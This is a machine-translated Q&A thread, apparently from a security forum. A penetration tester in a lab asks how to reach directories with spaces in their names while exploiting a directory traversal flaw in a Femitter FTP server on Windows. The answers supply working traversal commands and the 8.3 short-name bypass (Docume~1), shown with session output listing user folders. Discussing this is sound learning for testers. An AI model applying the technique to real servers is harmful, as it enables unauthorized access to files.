Beyaz boşluk içeren dizinlere FTP dizini geçiş saldırısı


15

Kapalı bir referans ortamında yaptırım uygulanan bir pentest yürütüyorum ve görünüşte basit bir sorun üzerinde mücadele ediyorum, şu anda çözemiyorum.

MS Windows işletim sisteminde çalışan savunmasız bir Fermitter FTP sunucusuna karşı bir dizin geçişi saldırısı gerçekleştirmeye çalışırken, sistem kökünde bir LIST yapmak mümkündür (adresler ve içerik listeleri burada yalnızca başvuru için değiştirilmiştir):

# ftp 192.168.13.22
Connected to 192.168.13.22.
220 Femitter FTP Server ready.
Name (192.168.13.22:root): 
331 Password required for root.
Password:
230 User root logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ../../../../
200 Port command successful.
150 Opening data connection for directory list.
-rwxrwxrwx   1 ftp      ftp            0 Sep 23  2015 AUTOEXEC.BAT
-rw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 CONFIG.SYS
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 Documents and Settings
dr--r--r--   1 ftp      ftp            0 Sep 23  2015 Program Files
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 WINDOWS
226 File sent ok

Ancak, beyaz boşluklar içeren bir klasörün içeriğini listelemek istersem, Documents and settingsboşlukların yok sayıldığı için dizin içeriğini listeleyemiyorum.

ftp> ls ../../../../documents and settings/
usage: ls remote-directory local-file
ftp> ls ../../../../documents\ and\ settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls ../../../../documents%20and%20settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents%20and%20settings not found
226 File sent ok
ftp> ls ../../../../'documents and settings'/
usage: ls remote-directory local-file
ftp> ls ../../../../"documents and settings"/
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls "../../../../documents and settings/"
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok

Zaten farklı FTP istemcileri (Linux ve Windows'da CLI ve GUI) kullanmayı denedim ve beyaz boşlukları görmezden geliyorlar veya dizin geçişine izin vermiyorlar.

Ayrıca, komutları doğrudan ham sunucuya HEX biçiminde göndermek için ftplib'i kullanarak ilk ham soketlerde ve sonra ftplib kullanarak Python'a saldırı komut dosyası oluşturmayı denedi, ancak başarılı olamadı.

Birkaç saat boyunca çalışmak bir çalışma çözümü vermedi (evet, işe yaramayan birçok seçenek vardı), bu yüzden burada aynı sorunu yaşayan biri var. Eminim, bu ilk kez beyaz boşluklu bir dizin geçişine ihtiyaç duyulmaz.


Büyük / küçük harf duyarlılığı, FTP istemcileri için önemsiz görünmektedir. En azından GNU / Linux FTP istemcisi, harf durumunu yok sayan dizinleri listeler.

@lockout: büyük / küçük harf duyarlılığı, istemci tarafı değil sunucu tarafıdır. İstemciler verileri sunucunun gönderdiği şekilde listeler ve büyük / küçük harf değişimi yapmaz.
Steffen Ullrich

1
Ayrıca C: \ Docume ~ 1 \ 'i deneyin.
Köpek kedi dünyasını yemek

1
\Dizin dizesiyle boşluklardan kaçmayı veya alıntı yapmayı deneyin
DavidPostill

1
@Lockout için çalıştığına sevindim. Sorunuzu cevaplama zahmetinden geçtiğiniz için, cevap olarak kabul etmeniz benim için sorun değil. Bana güvendiğin için teşekkürler.
Köpek kedi dünyası yemek

Yanıtlar:


16

@Dogeatcatworld tarafından önerilen çözüm MS Windows dizini kullanmak gibi kısa gösterim C:\Docume~1\.

ftp> ls ../../../../Docume~1/
200 Port command successful.
150 Opening data connection for directory list.
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 .
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 ..
drw-rw-rw-   1 ftp      ftp            0 Sep 26  2015 Administrateur
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 All Users
226 File sent ok

MS Knowledge Base'den gerçekten iyi bir makale 8.3 dizin gösterimini açıklıyor: Windows Uzun Dosya Adlarından 8.3 Dosya Adlarını Nasıl Üretiyor


2
OSCP'yi görüyorum. Bahşişinize eklemek için, "Tüm Kullanıcılar" gibi kısa dizinler için alanı bırakın ve "AllUse ~ 1" kullanın. Etkileşimli olarak göz atmak için FTP'yi bağlamanın bir yolunu buldunuz mu yoksa dosyaları tek tek indirdiniz.
n00b

1

"Kısa ad" gerçekten eski DOS 8.3 adlandırma kuralıdır, bu nedenle tüm dizinler ilk 6 harf olacak ve eşleşen tek bir ad olduğunu varsayarak ~ 1 gelecektir, örneğin:

C: \ ABCDEF ~ 1 - C: \ ABCDEFG BEN DİREKTÖR
C: \ BCDEFG ~ 1 - C: \ BCDEFGHIJKL M Başka Bir Rehber

İşte tek istisna:

C: \ ABCDEF ~ 1 - C: \ ABCDEFG BEN
REHBERİM C: \ ABCDEF ~ 2 - C: \ ABCDEFGHI Dizini

Kaynak: Bir Windows dizini / dosyasının kısa yolunu nasıl bulabilirim?


0

Ftp url kodlaması kullanmaz, bu nedenle sizin için çevirebilecek bir tarayıcıda ftp kullanmadığınız sürece% xx çalışmaz.

Bunun yerine tırnak işaretleri kullanmayı deneyin, yani: ls "../../some dir"


1
HI, dizin geçişi için denenmiş girişimleri bakarsanız, ben birden çok tırnak denedim göreceksiniz: tek tırnak, çift tırnak ve arka kene. FTP çıkış listesinde gösterildiği gibi çalışmadılar. Tüm seçenekleri denemeye yönelik umutsuz girişimler nedeniyle,% 20'yi kullanmak işe yarayacaksa denemekti. Tabii ki% kodlama, tarayıcıları ve onları yorumlayabilen FTP istemcileri üzerinde çalışır.
kilitleme
Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.